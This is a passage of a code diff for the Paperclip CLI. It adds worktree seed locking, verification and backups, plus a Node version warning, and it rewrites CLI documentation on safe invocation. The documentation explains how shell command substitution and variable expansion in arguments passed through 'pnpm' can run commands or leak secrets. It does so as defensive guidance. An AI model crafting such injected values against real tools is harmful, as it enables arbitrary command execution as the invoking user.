+    });
+    const sourceConfigPath = canonicalSource.configPath;
 
     const sourceConfig = readConfig(sourceConfigPath);
     if (!sourceConfig) {
@@ -1591,19 +2411,19 @@ export async function ensureWorktreeSeeded(
       throw new Error(`Target config not found at ${configPath}.`);
     }
 
-    const targetRoot = path.dirname(path.dirname(configPath));
-    const targetPaths = resolveWorktreeReseedTargetPaths({ configPath, rootPath: targetRoot });
     const seedDatabase = dependencies.seedDatabase ?? seedWorktreeDatabase;
-    const details = await seedDatabase({
+    const details = await runVerifiedWorktreeSeed({
+      configPath,
       sourceConfigPath,
       sourceConfig,
       targetConfig,
       targetPaths,
       instanceId: targetPaths.instanceId,
-      seedMode: "minimal",
+      seedMode: manifest.seedMode,
       preserveLiveWork: opts.preserveLiveWork,
+      expectedCompanyId,
+      seedDatabase,
     });
-    markWorktreeSeedComplete({ configPath });
     return { seeded: true, reason: "seeded", details };
   } finally {
     await releaseLock();
@@ -1658,25 +2478,53 @@ async function runWorktreeInit(opts: WorktreeInitOptions): Promise<void> {
     rmSync(paths.instanceRoot, { recursive: true, force: true });
   }
 
-  const claimedPorts = collectClaimedWorktreePorts(paths.homeDir, paths.instanceId, paths.cwd);
-  const preferredServerPort = opts.serverPort ?? ((sourceConfig?.server.port ?? 3100) + 1);
-  const serverPort = await findAvailablePort(preferredServerPort, claimedPorts.serverPorts);
-  const preferredDbPort = opts.dbPort ?? ((sourceConfig?.database.embeddedPostgresPort ?? 54329) + 1);
-  const databasePort = await findAvailablePort(
-    preferredDbPort,
-    new Set([...claimedPorts.databasePorts, serverPort]),
-  );
-  const targetConfig = buildWorktreeConfig({
-    sourceConfig,
-    paths,
-    serverPort,
-    databasePort,
-  });
+  const { serverPort, databasePort, targetConfig } = await withWorktreePortRegistryLock(
+    paths.homeDir,
+    async () => {
+      const registeredConfigPaths = readWorktreePortRegistry(paths.homeDir);
+      const claimedPorts = collectClaimedWorktreePorts(
+        paths.homeDir,
+        paths.instanceId,
+        paths.cwd,
+        registeredConfigPaths,
+      );
+      const preferredServerPort = opts.serverPort ?? ((sourceConfig?.server.port ?? 3100) + 1);
+      const selectedServerPort = await findAvailablePort(preferredServerPort, claimedPorts.serverPorts);
+      const preferredDbPort = opts.dbPort ?? ((sourceConfig?.database.embeddedPostgresPort ?? 54329) + 1);
+      const selectedDatabasePort = await findAvailablePort(
+        preferredDbPort,
+        new Set([...claimedPorts.databasePorts, selectedServerPort]),
+      );
+      const selectedConfig = buildWorktreeConfig({
+        sourceConfig,
+        paths,
+        serverPort: selectedServerPort,
+        databasePort: selectedDatabasePort,
+      });
 
-  writeConfig(targetConfig, paths.configPath);
+      try {
+        writeConfig(selectedConfig, paths.configPath);
+        writeWorktreePortRegistry(paths.homeDir, [
+          ...registeredConfigPaths,
+          paths.configPath,
+        ]);
+      } catch (error) {
+        rmSync(paths.configPath, { force: true });
+        throw error;
+      }
+
+      return {
+        serverPort: selectedServerPort,
+        databasePort: selectedDatabasePort,
+        targetConfig: selectedConfig,
+      };
+    },
+  );
   markWorktreeSeedPending({
     configPath: paths.configPath,
     sourceConfigPath,
+    targetInstanceId: instanceId,
+    seedMode,
   });
   const sourceEnvEntries = readPaperclipEnvEntries(resolvePaperclipEnvFile(sourceConfigPath));
   const existingAgentJwtSecret =
@@ -1705,8 +2553,11 @@ async function runWorktreeInit(opts: WorktreeInitOptions): Promise<void> {
     }
     const spinner = p.spinner();
     spinner.start(`Seeding isolated worktree database from source instance (${seedMode})...`);
+    const markers = resolveWorktreeSeedMarkerPaths(paths.configPath);
+    const releaseSeedLock = await acquireWorktreeSeedLock(markers.lock);
     try {
-      const seeded = await seedWorktreeDatabase({
+      const seeded = await runVerifiedWorktreeSeed({
+        configPath: paths.configPath,
         sourceConfigPath,
         sourceConfig,
         targetConfig,
@@ -1714,16 +2565,18 @@ async function runWorktreeInit(opts: WorktreeInitOptions): Promise<void> {
         instanceId,
         seedMode,
         preserveLiveWork: opts.preserveLiveWork,
+        seedDatabase: seedWorktreeDatabase,
       });
       seedSummary = seeded.backupSummary;
       seedExecutionQuarantineSummary = seeded.executionQuarantine;
       pausedScheduledRoutineCount = seeded.pausedScheduledRoutines;
       reboundWorkspaceSummary = seeded.reboundWorkspaces;
-      markWorktreeSeedComplete({ configPath: paths.configPath, seedMode });
       spinner.stop(`Seeded isolated worktree database (${seedMode}).`);
     } catch (error) {
       spinner.stop(pc.red("Failed to seed worktree database."));
       throw error;
+    } finally {
+      await releaseSeedLock();
     }
   }
 
@@ -1774,21 +2627,17 @@ export async function worktreeEnsureSeededCommand(opts: WorktreeEnsureSeededOpti
   printPaperclipCliBanner();
   p.intro(pc.bgCyan(pc.black(" paperclipai worktree ensure-seeded ")));
 
-  const markers = resolveWorktreeSeedMarkerPaths(resolveConfigPath(opts.config));
-  if (existsSync(markers.complete) || !existsSync(markers.pending)) {
-    const result = await ensureWorktreeSeeded(opts);
-    const reason = result.reason === "complete_marker"
-      ? "Seed-complete marker already present."
-      : "No seed-pending marker found; treating this legacy worktree as already seeded.";
-    p.outro(pc.green(reason));
-    return;
-  }
-
   const spinner = p.spinner();
-  spinner.start("Seeding isolated worktree database from source instance (minimal)...");
+  spinner.start("Checking isolated worktree database seed state...");
   try {
     const result = await ensureWorktreeSeeded(opts);
-    spinner.stop("Seeded isolated worktree database (minimal).");
+    if (result.seeded) {
+      spinner.stop("Seeded isolated worktree database (minimal).");
+    } else if (result.reason === "legacy_database") {
+      spinner.stop("Validated and adopted an existing legacy worktree database.");
+    } else {
+      spinner.stop("Worktree database already has a verified seed manifest.");
+    }
     if (result.details) {
       p.log.message(pc.dim(`Seed snapshot: ${result.details.backupSummary}`));
       p.log.message(
@@ -3395,6 +4244,34 @@ export async function worktreeMergeHistoryCommand(sourceArg: string | undefined,
   }
 }
 
+async function backupWorktreeReseedTarget(input: {
+  targetConfig: PaperclipConfig;
+  targetPaths: WorktreeLocalPaths;
+}): Promise<string> {
+  if (input.targetConfig.database.mode !== "embedded-postgres") {
+    throw new Error("Managed worktree repair requires an embedded PostgreSQL target.");
+  }
+  const targetHandle = await ensureEmbeddedPostgres(
+    input.targetConfig.database.embeddedPostgresDataDir,
+    input.targetConfig.database.embeddedPostgresPort,
+  );
+  try {
+    const adminConnectionString = `postgres://paperclip:paperclip@127.0.0.1:${targetHandle.port}/postgres`;
+    await ensurePostgresDatabase(adminConnectionString, "paperclip");
+    const result = await runDatabaseBackup({
+      connectionString: `postgres://paperclip:paperclip@127.0.0.1:${targetHandle.port}/paperclip`,
+      backupDir: path.resolve(input.targetPaths.backupDir, "repair"),
+      retention: { dailyDays: 30, weeklyWeeks: 12, monthlyMonths: 12 },
+      filenamePrefix: `${input.targetPaths.instanceId}-pre-repair`,
+      backupEngine: "auto",
+      includeMigrationJournal: true,
+    });
+    return formatDatabaseBackupResult(result);
+  } finally {
+    if (targetHandle.startedByThisProcess) await targetHandle.stop();
+  }
+}
+
 async function runWorktreeReseed(opts: WorktreeReseedOptions): Promise<void> {
   const seedMode = opts.seedMode ?? "full";
   if (!isWorktreeSeedMode(seedMode)) {
@@ -3450,8 +4327,23 @@ async function runWorktreeReseed(opts: WorktreeReseedOptions): Promise<void> {
 
   const spinner = p.spinner();
   spinner.start(`Reseeding ${targetEndpoint.label} from ${source.label} (${seedMode})...`);
+  const markers = resolveWorktreeSeedMarkerPaths(targetEndpoint.configPath);
+  mkdirSync(path.dirname(markers.lock), { recursive: true });
+  const releaseSeedLock = await acquireWorktreeSeedLock(markers.lock);
   try {
-    const seeded = await seedWorktreeDatabase({
+    let targetBackupSummary: string | null = null;
+    if (opts.backupTarget) {
+      targetBackupSummary = await backupWorktreeReseedTarget({ targetConfig, targetPaths });
+      p.log.message(pc.dim(`Recoverable pre-repair backup: ${targetBackupSummary}`));
+    }
+    markWorktreeSeedPending({
+      configPath: targetEndpoint.configPath,
+      sourceConfigPath: source.configPath,
+      targetInstanceId: targetPaths.instanceId,
+      seedMode,
+    });
+    const seeded = await runVerifiedWorktreeSeed({
+      configPath: targetEndpoint.configPath,
       sourceConfigPath: source.configPath,
       sourceConfig,
       targetConfig,
@@ -3459,8 +4351,9 @@ async function runWorktreeReseed(opts: WorktreeReseedOptions): Promise<void> {
       instanceId: targetPaths.instanceId,
       seedMode,
       preserveLiveWork: opts.preserveLiveWork,
+      expectedCompanyId: nonEmpty(process.env.PAPERCLIP_SEED_EXPECTED_COMPANY_ID) ?? undefined,
+      seedDatabase: seedWorktreeDatabase,
     });
-    markWorktreeSeedComplete({ configPath: targetEndpoint.configPath, seedMode });
     spinner.stop(`Reseeded ${targetEndpoint.label} (${seedMode}).`);
     p.log.message(pc.dim(`Source: ${source.configPath}`));
     p.log.message(pc.dim(`Target: ${targetEndpoint.configPath}`));
@@ -3482,6 +4375,8 @@ async function runWorktreeReseed(opts: WorktreeReseedOptions): Promise<void> {
   } catch (error) {
     spinner.stop(pc.red("Failed to reseed worktree database."));
     throw error;
+  } finally {
+    await releaseSeedLock();
   }
 }
 
@@ -3593,7 +4488,7 @@ export function registerWorktreeCommands(program: Command): void {
     .option("--server-port <port>", "Preferred server port", (value) => Number(value))
     .option("--db-port <port>", "Preferred embedded Postgres port", (value) => Number(value))
     .option("--seed-mode <mode>", "Seed profile: minimal or full (default: minimal)", "minimal")
-    .option("--preserve-live-work", "Do not quarantine copied agent timers or assigned open issues in the seeded worktree", false)
+    .option("--preserve-live-work", "Do not quarantine copied agent work or workspace runtime services in the seeded worktree", false)
     .option("--no-seed", "Skip database seeding from the source instance")
     .option("--force", "Replace existing repo-local config and isolated instance data", false)
     .action(worktreeMakeCommand);
@@ -3610,7 +4505,7 @@ export function registerWorktreeCommands(program: Command): void {
     .option("--server-port <port>", "Preferred server port", (value) => Number(value))
     .option("--db-port <port>", "Preferred embedded Postgres port", (value) => Number(value))
     .option("--seed-mode <mode>", "Seed profile: minimal or full (default: minimal)", "minimal")
-    .option("--preserve-live-work", "Do not quarantine copied agent timers or assigned open issues in the seeded worktree", false)
+    .option("--preserve-live-work", "Do not quarantine copied agent work or workspace runtime services in the seeded worktree", false)
     .option("--no-seed", "Skip database seeding from the source instance")
     .option("--force", "Replace existing repo-local config and isolated instance data", false)
     .action(worktreeInitCommand);
@@ -3629,7 +4524,7 @@ export function registerWorktreeCommands(program: Command): void {
     .option("--from-config <path>", "Source config.json to seed from (defaults to the seed-pending marker)")
     .option("--from-data-dir <path>", "Source PAPERCLIP_HOME used when deriving the source config")
     .option("--from-instance <id>", "Source instance id when deriving the source config")
-    .option("--preserve-live-work", "Do not quarantine copied agent timers or assigned open issues", false)
+    .option("--preserve-live-work", "Do not quarantine copied agent work or workspace runtime services", false)
     .action(worktreeEnsureSeededCommand);
 
   program
@@ -3660,9 +4555,10 @@ export function registerWorktreeCommands(program: Command): void {
     .option("--from-data-dir <path>", "Source PAPERCLIP_HOME used when deriving the source config")
     .option("--from-instance <id>", "Source instance id when deriving the source config")
     .option("--seed-mode <mode>", "Seed profile: minimal or full (default: full)", "full")
-    .option("--preserve-live-work", "Do not quarantine copied agent timers or assigned open issues in the seeded worktree", false)
+    .option("--preserve-live-work", "Do not quarantine copied agent work or workspace runtime services in the seeded worktree", false)
     .option("--yes", "Skip the destructive confirmation prompt", false)
     .option("--allow-live-target", "Override the guard that requires the target worktree DB to be stopped first", false)
+    .option("--backup-target", "Retain a recoverable full backup of the isolated target DB before reseeding", false)
     .action(worktreeReseedCommand);
 
   worktree
@@ -3674,7 +4570,7 @@ export function registerWorktreeCommands(program: Command): void {
     .option("--from-data-dir <path>", "Source PAPERCLIP_HOME used when deriving the source config")
     .option("--from-instance <id>", "Source instance id when deriving the source config (default: default)")
     .option("--seed-mode <mode>", "Seed profile: minimal or full (default: minimal)", "minimal")
-    .option("--preserve-live-work", "Do not quarantine copied agent timers or assigned open issues in the seeded worktree", false)
+    .option("--preserve-live-work", "Do not quarantine copied agent work or workspace runtime services in the seeded worktree", false)
     .option("--no-seed", "Repair metadata only and skip reseeding when bootstrapping a missing worktree config", false)
     .option("--allow-live-target", "Override the guard that requires the target worktree DB to be stopped first", false)
     .action(worktreeRepairCommand);
diff --git a/cli/src/index.ts b/cli/src/index.ts
index b26b5cbe187..db9c8413f30 100644
--- a/cli/src/index.ts
+++ b/cli/src/index.ts
@@ -1,4 +1,5 @@
 import { Command } from "commander";
+import { warnIfUnsupportedNodeVersion } from "@paperclipai/shared/node-version";
 import { onboard } from "./commands/onboard.js";
 import { doctor } from "./commands/doctor.js";
 import { envCommand } from "./commands/env.js";
@@ -250,6 +251,8 @@ auth
 registerClientAuthCommands(auth);
 
 async function main(): Promise<void> {
+  warnIfUnsupportedNodeVersion(process.versions.node, (message) => console.warn(message));
+
   let failed = false;
   try {
     await program.parseAsync();
diff --git a/cli/src/node-version.test.ts b/cli/src/node-version.test.ts
new file mode 100644
index 00000000000..ef1cde7359e
--- /dev/null
+++ b/cli/src/node-version.test.ts
@@ -0,0 +1,44 @@
+import { describe, expect, it } from "vitest";
+import {
+  formatNodeVersionWarning,
+  isSupportedNodeVersion,
+  MINIMUM_NODE_VERSION,
+  NODE_VERSION_INSTALL_GUIDE_URL,
+  warnIfUnsupportedNodeVersion,
+} from "@paperclipai/shared/node-version";
+
+describe("isSupportedNodeVersion", () => {
+  it("accepts the Node 24 LTS floor and newer releases", () => {
+    expect(MINIMUM_NODE_VERSION).toBe("24.11.0");
+    expect(isSupportedNodeVersion("v24.11.0")).toBe(true);
+    expect(isSupportedNodeVersion("24.19.0")).toBe(true);
+    expect(isSupportedNodeVersion("v26.0.0")).toBe(true);
+  });
+
+  it("rejects pre-LTS Node 24 and older major releases", () => {
+    expect(isSupportedNodeVersion("v24.10.0")).toBe(false);
+    expect(isSupportedNodeVersion("v22.23.0")).toBe(false);
+    expect(isSupportedNodeVersion("unknown")).toBe(false);
+  });
+
+  it("provides non-blocking remediation text for unsupported runtimes", () => {
+    expect(formatNodeVersionWarning("v24.11.0")).toBeNull();
+    const warning = formatNodeVersionWarning("v22.23.0");
+    expect(warning).toContain("Node.js v22.23.0 is unsupported");
+    expect(warning).toContain("requires Node.js 24.11.0 or newer");
+    expect(warning).toContain(NODE_VERSION_INSTALL_GUIDE_URL);
+    expect(warning).toContain("piped install.sh form cannot upgrade");
+    expect(warning).toContain("Restart Paperclip after upgrading");
+  });
+
+  it("emits at most one warning when CLI and server boot in the same process", () => {
+    const warnings: string[] = [];
+    expect(
+      warnIfUnsupportedNodeVersion("22.23.0", (message) => warnings.push(message)),
+    ).toBe(true);
+    expect(
+      warnIfUnsupportedNodeVersion("22.23.0", (message) => warnings.push(message)),
+    ).toBe(false);
+    expect(warnings).toHaveLength(1);
+  });
+});
diff --git a/cli/src/prompts/server.ts b/cli/src/prompts/server.ts
index 404d4ea5752..bff9e18072e 100644
--- a/cli/src/prompts/server.ts
+++ b/cli/src/prompts/server.ts
@@ -84,7 +84,7 @@ export async function promptServer(opts?: {
           : "dotta-macbook-pro, host.docker.internal",
       validate: (val) => {
         try {
-          parseHostnameCsv(val);
+          parseHostnameCsv(val ?? "");
           return;
         } catch (err) {
           return err instanceof Error ? err.message : "Invalid hostname list";
@@ -156,7 +156,7 @@ export async function promptServer(opts?: {
     defaultValue: defaultHost,
     placeholder: defaultHost,
     validate: (val) => {
-      if (!val.trim()) return "Host is required";
+      if (!val || !val.trim()) return "Host is required";
       if (deploymentMode === "local_trusted" && !isLoopbackHost(val.trim())) {
         return "Local trusted mode requires a loopback host such as 127.0.0.1";
       }
@@ -173,7 +173,7 @@ export async function promptServer(opts?: {
       placeholder: "dotta-macbook-pro, your-host.tailnet.ts.net",
       validate: (val) => {
         try {
-          parseHostnameCsv(val);
+          parseHostnameCsv(val ?? "");
           return;
         } catch (err) {
           return err instanceof Error ? err.message : "Invalid hostname list";
@@ -192,7 +192,7 @@ export async function promptServer(opts?: {
       defaultValue: currentAuth?.publicBaseUrl ?? "",
       placeholder: "https://paperclip.example.com",
       validate: (val) => {
-        const candidate = val.trim();
+        const candidate = val?.trim() ?? "";
         if (!candidate) return "Public base URL is required for public exposure";
         try {
           const url = new URL(candidate);
diff --git a/doc/CLI.md b/doc/CLI.md
index c5eff04686f..f01291b2994 100644
--- a/doc/CLI.md
+++ b/doc/CLI.md
@@ -8,53 +8,112 @@ Paperclip CLI now supports both:
 
 ## Security: safe invocation for content-bearing arguments
 
-Use `pnpm exec paperclipai` for any command whose argument can hold untrusted or
+Use `npx paperclipai` for any command whose argument can hold untrusted or
 semi-trusted content. Untrusted content includes issue text, comment bodies,
-Markdown, pasted snippets, and model output. `pnpm exec` runs the installed
-binary directly. It passes the argument as an inert `argv` value. It does not
-run a shell over the value.
+Markdown, pasted snippets, and model output. `npx` runs the CLI binary directly.
+It passes the argument as an inert `argv` value. It does not run a shell over the
+value. `npx paperclipai` works on any machine with Node: it runs a local install
+of the `paperclipai` package, and it fetches the published package when no local
+install is present.
 
-Do not use `pnpm paperclipai` for a content-bearing argument. The safe form and
-the unsafe form differ only by the `exec` keyword, so read the command with
-care. `pnpm paperclipai` is a `package.json` script. `pnpm` runs the argument
-through `/bin/sh` first. The shell interprets these metacharacters before the
-CLI starts:
+Do not use `pnpm paperclipai` for a content-bearing argument. `pnpm paperclipai`
+is a `package.json` script. `pnpm` builds a `/bin/sh` command string and appends
+the argument to it, so the shell reads the argument first. The shell interprets
+these spans before the CLI starts:
 
 - command substitution: a backtick pair or `$( )`
 - variable expansion: `$NAME` or `${NAME}` (this can leak a secret value into the persisted argument)
-- other shell syntax: `; | & < >`
 
 A crafted value can run an arbitrary command as the invoking user. A crafted
 value can also expand an environment variable into the stored argument. No
-CLI-side check stops this, because the shell runs before `cli/src` starts.
+CLI-side check stops this, because the shell runs before `cli/src` starts. This
+is true even when the argument comes from a quoted shell variable, because `pnpm`
+re-evaluates the value in its own shell.
 
 Safe forms:
 
-- `pnpm exec paperclipai <command> <args>` — the documented default
-- `npx paperclipai <command> <args>` — also injection-safe; use it when no local
-  install is present. `npx` fetches the package from the npm registry when the
-  binary is not installed locally, so a mistyped name can start a network
-  fetch. `pnpm exec` never does this; it runs only the locally installed binary.
-- `node <cli>/dist/index.js <command> <args>` — trusted direct-binary call
+- `npx paperclipai <command> <args>` — the documented default. It passes an inert
+  `argv` value and runs on any machine.
+- `node cli/node_modules/tsx/dist/cli.mjs cli/src/index.ts <command> <args>` —
+  the safe form to run the local source from a monorepo checkout. It is the exact
+  command that the `pnpm paperclipai` script wraps, but it runs directly, so no
+  shell reads the argument. Use it when you must test your local `cli/src`
+  changes with a content-bearing argument.
 
-Unsafe forms for a content-bearing argument:
+Unsafe or broken forms:
 
-- `pnpm paperclipai <command> <args>`
-- `pnpm run <script> -- <args>`
-- any `package.json` script that wraps the CLI
+- `pnpm paperclipai <command> <args>` — unsafe. `pnpm` runs the argument through a
+  shell first.
+- `pnpm run <script> -- <args>`, or any `package.json` script that wraps the CLI —
+  unsafe for the same reason.
+- `pnpm exec paperclipai <command> <args>` — broken. The root workspace does not
+  depend on the `paperclipai` package, so `pnpm` does not link its binary into
+  `node_modules/.bin`. The command fails with `Command "paperclipai" not found`,
+  even after a build. Do not use it.
 
-`pnpm paperclipai` stays acceptable only for local lifecycle and setup commands
-that take fixed, trusted arguments (for example `run`, `onboard`, `doctor`,
-`configure --section <name>`, `connect`, `env-lab up`, `worktree ensure-seeded`).
-A command is content-bearing, and needs `pnpm exec`, when it takes a non-fixed
-value: a hostname (`allowed-hostname`), an import URL or folder (`company
-import`), an identifier or secret (`--company-id`, `--agent-id`,
-`--claim-secret`), a payload (`--payload-json`), or free text (`--body`,
-`--title`, `--comment`). A runtime value counts as non-fixed even when it looks
-safe: the private-hostname guard builds `allowed-hostname <value>` from the
-request Host header, so it must use `pnpm exec`. The `pnpm --filter
-@paperclipai/*` build and test commands are not CLI invocation. They do not
-change.
+Static placeholders only: a document must show a static placeholder such as
+`<host>` in a command example, never a live `$( )` or `$NAME` span. The reader's
+own shell expands such a span on paste, before any CLI or `npx` receives argv, so
+a direct-exec form does not stop it.
+
+`pnpm paperclipai` stays acceptable only for a fully literal local lifecycle or
+setup command. A fully literal command carries no substitutable value. It has no
+placeholder, no example value the reader replaces, no interpolation, no path, no
+ref, no id, and no name. It holds the subcommand and, at most, flags that take no
+value.
+
+The allowlist of literal commands lives in one place:
+`server/src/__tests__/cli-invocation-safety.test.ts`. A guard test enforces it
+fail-closed. Any `pnpm paperclipai` line whose command string is not an exact
+allowlist entry is an offender. The allowlist holds commands such as `run`,
+`onboard`, `onboard --yes`, `doctor`, `configure --section <name>`, `connect`,
+`env-lab up`, `env-lab down`, `context show`, `context list`,
+`worktree ensure-seeded`, and `worktree env`.
+
+Every invocation that carries a positional value or an option value uses
+`npx paperclipai` instead. This covers a hostname (`allowed-hostname`), an import
+URL or folder (`company import`), an identifier or secret (`--company-id`,
+`--agent-id`, `--claim-secret`), a payload (`--payload-json`), free text
+(`--body`, `--title`, `--comment`), a data directory (`--data-dir`), an instance
+(`--instance`), a bind preset (`--bind`), a context-profile name, and every
+worktree path, ref, id, or name option. A runtime value counts as non-fixed even
+when it looks safe. The private-hostname guard builds `allowed-hostname <value>`
+from the request Host header, so it uses `npx paperclipai`.
+
+For a command that must run the local checked-out source with a value, use the
+direct-exec form: `node cli/node_modules/tsx/dist/cli.mjs cli/src/index.ts
+<command> <args>`.
+
+The `pnpm --filter @paperclipai/*` build and test commands are not CLI
+invocation. They do not change.
+
+### Offline and air-gapped use
+
+`npx paperclipai` runs offline when the `paperclipai` package is already in a
+local install or in the npm cache. It reaches the network only when the package
+is in neither place.
+
+To force cache-only resolution and block any network attempt, run
+`npx --offline paperclipai <command> <args>`. Use `npx --prefer-offline
+paperclipai` when you accept a fetch only for a missing package.
+
+To prepare an air-gapped host, install the package one time while the host is
+online. Run `npm install -g paperclipai`, or run the documented `install.sh`
+path. After that step, both `npx paperclipai` and the installed `paperclipai`
+binary run offline. Both pass an inert `argv` value.
+
+To move the package without a registry, run `npm pack paperclipai` on an online
+host. Copy the tarball to the air-gapped host. Run `npm install -g
+./paperclipai-<version>.tgz`.
+
+Do not use `pnpm paperclipai` as an offline fallback for a content-bearing
+argument. It runs the argument through a shell first, offline or online. It also
+resolves only inside a monorepo checkout.
+
+A monorepo contributor who works offline uses the direct-exec form that this
+section documents above: `node cli/node_modules/tsx/dist/cli.mjs
+cli/src/index.ts <command> <args>`. It passes an inert `argv` value and runs the
+local source.
 
 ## Base Usage
 
@@ -92,7 +151,7 @@ pnpm paperclipai run
 Choose local instance:
 
 ```sh
-pnpm paperclipai run --instance dev
+npx paperclipai run --instance dev
 ```
 
 ## Install, Update, And Uninstall
@@ -166,7 +225,7 @@ Canonical behavior is documented in `doc/DEPLOYMENT-MODES.md`.
 Allow an authenticated/private hostname (for example custom Tailscale DNS):
 
 ```sh
-pnpm exec paperclipai allowed-hostname dotta-macbook-pro
+npx paperclipai allowed-hostname dotta-macbook-pro
 ```
 
 Bring up the default local SSH fixture for environment testing:
@@ -215,8 +274,8 @@ Profiles store token env-var names, not plaintext tokens. The wizard prints shel
 Use `--data-dir` on any CLI command to isolate all default local state (config/context/db/logs/storage/secrets) away from `~/.paperclip`:
 
 ```sh
-pnpm paperclipai run --data-dir ./tmp/paperclip-dev
-pnpm paperclipai issue list --data-dir ./tmp/paperclip-dev
+npx paperclipai run --data-dir ./tmp/paperclip-dev
+npx paperclipai issue list --data-dir ./tmp/paperclip-dev
 ```
 
 ## Context Profiles
@@ -224,45 +283,45 @@ pnpm paperclipai issue list --data-dir ./tmp/paperclip-dev
 Store local defaults in `~/.paperclip/context.json`:
 
 ```sh
-pnpm exec paperclipai context set --api-base http://localhost:3100 --company-id <company-id>
-pnpm exec paperclipai context set --persona agent --agent-id <agent-id> --api-key-env-var-name PAPERCLIP_API_KEY
+npx paperclipai context set --api-base http://localhost:3100 --company-id <company-id>
+npx paperclipai context set --persona agent --agent-id <agent-id> --api-key-env-var-name PAPERCLIP_API_KEY
 pnpm paperclipai context show
 pnpm paperclipai context list
-pnpm paperclipai context use default
+npx paperclipai context use default
 ```
 
 To avoid storing secrets in context, set `apiKeyEnvVarName` and keep the key in env:
 
 ```sh
-pnpm exec paperclipai context set --api-key-env-var-name PAPERCLIP_API_KEY
+npx paperclipai context set --api-key-env-var-name PAPERCLIP_API_KEY
 export PAPERCLIP_API_KEY=...
 ```
 
 ## Company Commands
 
 ```sh
-pnpm exec paperclipai company list
-pnpm exec paperclipai company get <company-id>
-pnpm exec paperclipai company current [--company-id <company-id>]
-pnpm exec paperclipai company stats
-pnpm exec paperclipai company create --payload-json '{...}'
-pnpm exec paperclipai company update <company-id> --payload-json '{...}'
-pnpm exec paperclipai company branding:update <company-id> --payload-json '{...}'
-pnpm exec paperclipai company archive <company-id>
-pnpm exec paperclipai company export <company-id> --out ./company --include company,agents,projects,issues,skills
-pnpm exec paperclipai company export:preview <company-id> --payload-json '{...}'
-pnpm exec paperclipai company export:api <company-id> --payload-json '{...}'
-pnpm exec paperclipai company import ./company --target new --new-company-name "Imported Company"
-pnpm exec paperclipai company import:preview <company-id> --payload-json '{...}'
-pnpm exec paperclipai company import:apply <company-id> --payload-json '{...}'
-pnpm exec paperclipai company delete <company-id-or-prefix> --yes --confirm <same-id-or-prefix>
+npx paperclipai company list
+npx paperclipai company get <company-id>
+npx paperclipai company current [--company-id <company-id>]
+npx paperclipai company stats
+npx paperclipai company create --payload-json '{...}'
+npx paperclipai company update <company-id> --payload-json '{...}'
+npx paperclipai company branding:update <company-id> --payload-json '{...}'
+npx paperclipai company archive <company-id>
+npx paperclipai company export <company-id> --out ./company --include company,agents,projects,issues,skills
+npx paperclipai company export:preview <company-id> --payload-json '{...}'
+npx paperclipai company export:api <company-id> --payload-json '{...}'
+npx paperclipai company import ./company --target new --new-company-name "Imported Company"
+npx paperclipai company import:preview <company-id> --payload-json '{...}'
+npx paperclipai company import:apply <company-id> --payload-json '{...}'
+npx paperclipai company delete <company-id-or-prefix> --yes --confirm <same-id-or-prefix>
 ```
 
 Examples:
 
 ```sh
-pnpm exec paperclipai company delete PAP --yes --confirm PAP
-pnpm exec paperclipai company delete 5cbe79ee-acb3-4597-896e-7662742593cd --yes --confirm 5cbe79ee-acb3-4597-896e-7662742593cd
+npx paperclipai company delete PAP --yes --confirm PAP
+npx paperclipai company delete 5cbe79ee-acb3-4597-896e-7662742593cd --yes --confirm 5cbe79ee-acb3-4597-896e-7662742593cd
 ```
 
 Notes:
@@ -279,149 +338,149 @@ Notes:
 ## Issue Commands
 
 ```sh
-pnpm exec paperclipai issue list --company-id <company-id> [--status todo,in_progress] [--assignee-agent-id <agent-id>] [--match text]
-pnpm exec paperclipai issue get <issue-id-or-identifier>
-pnpm exec paperclipai issue create --company-id <company-id> --title "..." [--description "..."] [--status todo] [--priority high]
-pnpm exec paperclipai issue update <issue-id> [--status in_progress] [--comment "..."]
-pnpm exec paperclipai issue delete <issue-id> --yes
-pnpm exec paperclipai issue comment <issue-id> --body "..." [--reopen]
-pnpm exec paperclipai issue comments <issue-id> [--limit 50]
-pnpm exec paperclipai issue comment:get <issue-id> <comment-id>
-pnpm exec paperclipai issue comment:delete <issue-id> <comment-id>
-pnpm exec paperclipai issue runs <issue-id-or-identifier>
-pnpm exec paperclipai issue live-runs <issue-id-or-identifier>
-pnpm exec paperclipai issue active-run <issue-id-or-identifier>
-pnpm exec paperclipai issue heartbeat-context <issue-id>
-pnpm exec paperclipai issue checkout <issue-id> --agent-id <agent-id> [--expected-statuses todo,backlog,blocked]
-pnpm exec paperclipai issue release <issue-id>
-pnpm exec paperclipai issue force-release <issue-id>
+npx paperclipai issue list --company-id <company-id> [--status todo,in_progress] [--assignee-agent-id <agent-id>] [--match text]
+npx paperclipai issue get <issue-id-or-identifier>
+npx paperclipai issue create --company-id <company-id> --title "..." [--description "..."] [--status todo] [--priority high]
+npx paperclipai issue update <issue-id> [--status in_progress] [--comment "..."]
+npx paperclipai issue delete <issue-id> --yes
+npx paperclipai issue comment <issue-id> --body "..." [--reopen]
+npx paperclipai issue comments <issue-id> [--limit 50]
+npx paperclipai issue comment:get <issue-id> <comment-id>
+npx paperclipai issue comment:delete <issue-id> <comment-id>
+npx paperclipai issue runs <issue-id-or-identifier>
+npx paperclipai issue live-runs <issue-id-or-identifier>
+npx paperclipai issue active-run <issue-id-or-identifier>
+npx paperclipai issue heartbeat-context <issue-id>
+npx paperclipai issue checkout <issue-id> --agent-id <agent-id> [--expected-statuses todo,backlog,blocked]
+npx paperclipai issue release <issue-id>
+npx paperclipai issue force-release <issue-id>
 ```
 
 Issue subresources are exposed as Paperclip API wrappers. Commands that map to broad server schemas accept JSON payloads and validate them with shared schemas before sending.
 
 ```sh
-pnpm exec paperclipai issue child:create <issue-id> --payload-json '{"title":"Child task"}'
-pnpm exec paperclipai issue approvals <issue-id>
-pnpm exec paperclipai issue approval:link <issue-id> <approval-id>
-pnpm exec paperclipai issue approval:unlink <issue-id> <approval-id>
-pnpm exec paperclipai issue read <issue-id>
-pnpm exec paperclipai issue unread <issue-id>
-pnpm exec paperclipai issue archive <issue-id>
-pnpm exec paperclipai issue unarchive <issue-id>
-pnpm exec paperclipai issue recovery-actions <issue-id>
-pnpm exec paperclipai issue recovery:resolve <issue-id> --outcome restored --source-issue-status todo
+npx paperclipai issue child:create <issue-id> --payload-json '{"title":"Child task"}'
+npx paperclipai issue approvals <issue-id>
+npx paperclipai issue approval:link <issue-id> <approval-id>
+npx paperclipai issue approval:unlink <issue-id> <approval-id>
+npx paperclipai issue read <issue-id>
+npx paperclipai issue unread <issue-id>
+npx paperclipai issue archive <issue-id>
+npx paperclipai issue unarchive <issue-id>
+npx paperclipai issue recovery-actions <issue-id>
